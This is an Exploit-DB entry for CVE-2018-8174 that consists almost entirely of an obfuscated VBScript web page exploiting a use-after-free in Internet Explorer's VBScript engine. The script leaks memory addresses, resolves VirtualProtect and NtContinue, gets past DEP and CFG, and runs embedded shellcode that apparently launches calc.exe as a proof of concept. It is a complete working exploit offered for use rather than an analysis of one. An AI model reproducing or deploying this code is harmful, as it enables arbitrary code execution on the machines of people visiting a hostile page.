EDB-ID: 44741 | Author: smgorelik | Published: 2018-05-21 | CVE: CVE-2018-8174 | Type: Local | Platform: Windows | Aliases: N/A | Advisory/Source: Link | Tags: N/A | Vulnerable App: N/A | <html lang="en">
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<script language="vbscript">
Dim lIIl
Dim IIIlI(6),IllII(6)
Dim IllI
Dim IIllI(40)
Dim lIlIIl,lIIIll
Dim IlII
Dim llll,IIIIl
Dim llllIl,IlIIII
Dim NtContinueAddr,VirtualProtectAddr
IlII=195948557
lIlIIl=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
lIIIll=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
IllI=195890093
Function IIIII(Domain)
lIlII=0
IllllI=0
IIlIIl=0
Id=CLng(Rnd*1000000)
lIlII=CLng((&h27d+8231-&H225b)*Rnd)Mod (&h137d+443-&H152f)+(&h1c17+131-&H1c99)
If(Id+lIlII)Mod (&h5c0+6421-&H1ed3)=(&h10ba+5264-&H254a) Then
lIlII=lIlII-(&h86d+6447-&H219b)
End If
IllllI=CLng((&h2bd+6137-&H1a6d)*Rnd)Mod (&h769+4593-&H1940)+(&h1a08+2222-&H2255)
IIlIIl=CLng((&h14e6+1728-&H1b5d)*Rnd)Mod (&hfa3+1513-&H1572)+(&h221c+947-&H256e)
IIIII=Domain &"?" &Chr(IllllI) &"=" &Id &"&" &Chr(IIlIIl) &"=" &lIlII
End Function
Function lIIII(ByVal lIlIl)
IIll=""
For index=0 To Len(lIlIl)-1
IIll=IIll &lIlI(Asc(Mid(lIlIl,index+1,1)),2)
Next
IIll=IIll &"00"
If Len(IIll)/(&h15c6+3068-&H21c0) Mod (&h1264+2141-&H1abf)=(&hc93+6054-&H2438) Then
IIll=IIll &"00"
End If
For IIIl=(&h1a1a+3208-&H26a2) To Len(IIll)/(&h1b47+331-&H1c8e)-(&h14b2+4131-&H24d4)
lIIIlI=Mid(IIll,IIIl*(&h576+1268-&Ha66)+(&ha64+6316-&H230f),(&ha49+1388-&Hfb3))
lIlIll=Mid(IIll,IIIl*(&hf82+3732-&H1e12)+(&h210+2720-&Hcaf)+(&h4fa+5370-&H19f2),(&hf82+5508-&H2504))
lIIII=lIIII &"%u" &lIlIll &lIIIlI
Next
End Function
Function lIlI(ByVal Number,ByVal Length)
IIII=Hex(Number)
If Len(IIII)<Length Then
IIII=String(Length-Len(IIII),"0") &IIII 'pad allign with zeros
Else
IIII=Right(IIII,Length)
End If
lIlI=IIII
End Function
Function GetUint32(lIII)
Dim value
llll.mem(IlII+8)=lIII+4
llll.mem(IlII)=8 'type string
value=llll.P0123456789
llll.mem(IlII)=2
GetUint32=value
End Function
Function IllIIl(lIII)
IllIIl=GetUint32(lIII) And (131071-65536)
End Function
Function lllII(lIII)
lllII=GetUint32(lIII) And (&h17eb+1312-&H1c0c)
End Function
Sub llllll
End Sub
Function GetMemValue
llll.mem(IlII)=(&h713+3616-&H1530)
GetMemValue=llll.mem(IlII+(&h169c+712-&H195c))
End Function
Sub SetMemValue(ByRef IlIIIl)
llll.mem(IlII+(&h715+3507-&H14c0))=IlIIIl
End Sub
Function LeakVBAddr
On Error Resume Next
Dim lllll
lllll=llllll
lllll=null
SetMemValue lllll
LeakVBAddr=GetMemValue()
End Function
Function GetBaseByDOSmodeSearch(IllIll)
Dim llIl
llIl=IllIll And &hffff0000
Do While GetUint32(llIl+(&h748+4239-&H176f))<>544106784 Or GetUint32(llIl+(&ha2a+7373-&H268b))<>542330692
llIl=llIl-65536
Loop
GetBaseByDOSmodeSearch=llIl
End Function
Function StrCompWrapper(lIII,llIlIl)
Dim lIIlI,IIIl
lIIlI=""
For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835)
lIIlI=lIIlI &Chr(lllII(lIII+IIIl))
Next
StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl))
End Function
Function GetBaseFromImport(base_address,name_input)
Dim import_rva,nt_header,descriptor,import_dir
Dim IIIIII
nt_header=GetUint32(base_address+(&h3c))
import_rva=GetUint32(base_address+nt_header+&h80)
import_dir=base_address+import_rva
descriptor=0
Do While True
Dim Name
Name=GetUint32(import_dir+descriptor*(&h14)+&hc)
If Name=0 Then
GetBaseFromImport=&hBAAD0000
Exit Function
Else
If StrCompWrapper(base_address+Name,name_input)=0 Then
Exit Do
End If
End If
descriptor=descriptor+1
Loop
IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10)
GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII))
End Function
Function GetProcAddr(dll_base,name)
Dim p,export_dir,index
Dim function_rvas,function_names,function_ordin
Dim Illlll
p=GetUint32(dll_base+&h3c)
p=GetUint32(dll_base+p+&h78)
export_dir=dll_base+p
function_rvas=dll_base+GetUint32(export_dir+&h1c)
function_names=dll_base+GetUint32(export_dir+&h20)
function_ordin=dll_base+GetUint32(export_dir+&h24)
index=0
Do While True
Dim lllI
lllI=GetUint32(function_names+index*4)
If StrCompWrapper(dll_base+lllI,name)=0 Then
Exit Do
End If
index=index+1
Loop
Illlll=IllIIl(function_ordin+index*2)
p=GetUint32(function_rvas+Illlll*4)
GetProcAddr=dll_base+p
End Function
Function GetShellcode()
IIlI=Unescape("%u0000%u0000%u0000%u0000") &Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc" &lIIII(IIIII("")))
IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
GetShellcode=IIlI
End Function
Function EscapeAddress(ByVal value)
Dim High,Low
High=lIlI((value And &hffff0000)/&h10000,4)
Low=lIlI(value And &hffff,4)
EscapeAddress=Unescape("%u" &Low &"%u" &High)
End Function
Function lIllIl
Dim IIIl,IlllI,IIlI,IlIII,llllI,llIII,lIllI
IlllI=lIlI(NtContinueAddr,8)
IlIII=Mid(IlllI,1,2)
llllI=Mid(IlllI,3,2)
llIII=Mid(IlllI,5,2)
lIllI=Mid(IlllI,7,2)
IIlI=""
IIlI=IIlI &"%u0000%u" &lIllI &"00"
For IIIl=1 To 3
IIlI=IIlI &"%u" &llllI &llIII
IIlI=IIlI &"%u" &lIllI &IlIII
Next
IIlI=IIlI &"%u" &llllI &llIII
IIlI=IIlI &"%u00" &IlIII
lIllIl=Unescape(IIlI)
End Function
Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg
Dim IIlI
IIlI=String((100334-65536),Unescape("%u4141"))
IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
IIlI=IIlI &EscapeAddress(&h3000)
IIlI=IIlI &EscapeAddress(&h40)
IIlI=IIlI &EscapeAddress(ShellcodeAddrParam-8)
IIlI=IIlI &String(6,Unescape("%u4242"))
IIlI=IIlI &lIllIl()
IIlI=IIlI &String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
WrapShellcodeWithNtContinueContext=IIlI
End Function
Function ExpandWithVirtualProtect(lIlll)
Dim IIlI
Dim lllllI
lllllI=lIlll+&h23
IIlI=""
IIlI=IIlI &EscapeAddress(lllllI)
IIlI=IIlI &String((&hb8-LenB(IIlI))/2,Unescape("%4141"))
IIlI=IIlI &EscapeAddress(VirtualProtectAddr)
IIlI=IIlI &EscapeAddress(&h1b)
IIlI=IIlI &EscapeAddress(0)
IIlI=IIlI &EscapeAddress(lIlll)
IIlI=IIlI &EscapeAddress(&h23)
IIlI=IIlI &String((&400-LenB(IIlI))/2,Unescape("%u4343"))
ExpandWithVirtualProtect=IIlI
End Function
Sub ExecuteShellcode
llll.mem(IlII)=&h4d 'DEP bypass
llll.mem(IlII+8)=0
msgbox(IlII) 'VT replaced
End Sub
Class cla1
Private Sub Class_Terminate()
Set IIIlI(IllI)=lIIl((&h1078+5473-&H25d8))
IllI=IllI+(&h14b5+2725-&H1f59)
lIIl((&h79a+3680-&H15f9))=(&h69c+1650-&Hd0d)
End Sub
End Class
Class cla2
Private Sub Class_Terminate()
Set IllII(IllI)=lIIl((&h15b+3616-&Hf7a))
IllI=IllI+(&h880+542-&Ha9d)
lIIl((&h1f75+342-&H20ca))=(&had3+3461-&H1857)
End Sub
End Class
Class IIIlIl
End Class
Class llIIl
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value
SetProp=0
End Function
End Class
Class IIIlll
Dim mem
Function P0123456789
P0123456789=LenB(mem(IlII+8))
End Function
Function SPP
End Function
End Class
Class lllIIl
Public Default Property Get P
Dim llII
P=174088534690791e-324
For IIIl=(&h7a0+4407-&H18d7) To (&h2eb+1143-&H75c)
IIIlI(IIIl)=(&h2176+711-&H243d)
Next
Set llII=New IIIlll
llII.mem=lIlIIl
For IIIl=(&h1729+3537-&H24fa) To (&h1df5+605-&H204c)
Set IIIlI(IIIl)=llII
Next
End Property
End Class
Class llllII
Public Default Property Get P
Dim llII
P=636598737289582e-328
For IIIl=(&h1063+2314-&H196d) To (&h4ac+2014-&Hc84)
IllII(IIIl)=(&h442+2598-&He68)
Next
Set llII=New IIIlll
llII.mem=lIIIll
For IIIl=(&h7eb+3652-&H162f) To (&h3e8+1657-&Ha5b)
Set IllII(IIIl)=llII
Next
End Property
End Class
Set llllIl=New lllIIl
Set IlIIII=New llllII
Sub UAF
For IIIl=(&hfe8+3822-&H1ed6) To (&h8b+8633-&H2233)
Set IIllI(IIIl)=New IIIlIl
Next
For IIIl=(&haa1+6236-&H22e9) To (&h1437+3036-&H1fed)
Set IIllI(IIIl)=New llIIl
Next
IllI=0
For IIIl=0 To 6
ReDim lIIl(1)
Set lIIl(1)=New cla1
Erase lIIl
Next
Set llll=New llIIl
IllI=0
For IIIl=0 To 6
ReDim lIIl(1)
Set lIIl(1)=New cla2
Erase lIIl
Next
Set IIIIl=New llIIl
End Sub
Sub InitObjects
llll.SetProp(llllIl)
IIIIl.SetProp(IlIIII)
IlII=IIIIl.mem
End Sub
Sub StartExploit
UAF
InitObjects
vb_adrr=LeakVBAddr()
Alert "CScriptEntryPointObject Leak: 0x" & Hex(vb_adrr) & vbcrlf & "VirtualTable address: 0x" & Hex(GetUint32(vb_adrr))
vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr))
Alert "VBScript Base: 0x" & Hex(vbs_base)
msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
Alert "MSVCRT Base: 0x" & Hex(msv_base)
krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
Alert "KernelBase Base: 0x" & Hex(krb_base)
ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
Alert "Ntdll Base: 0x" & Hex(ntd_base)
VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
Alert "KernelBase!VirtualProtect Address 0x" & Hex(VirtualProtectAddr)
NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")
Alert "KernelBase!VirtualProtect Address 0x" & Hex(NtContinueAddr)
SetMemValue GetShellcode()
ShellcodeAddr=GetMemValue()+8
Alert "Shellcode Address 0x" & Hex(ShellcodeAddr)
SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
lIlll=GetMemValue()+69596
SetMemValue ExpandWithVirtualProtect(lIlll)
llIIll=GetMemValue()
Alert "Executing Shellcode"
ExecuteShellcode
End Sub
StartExploit
</script>
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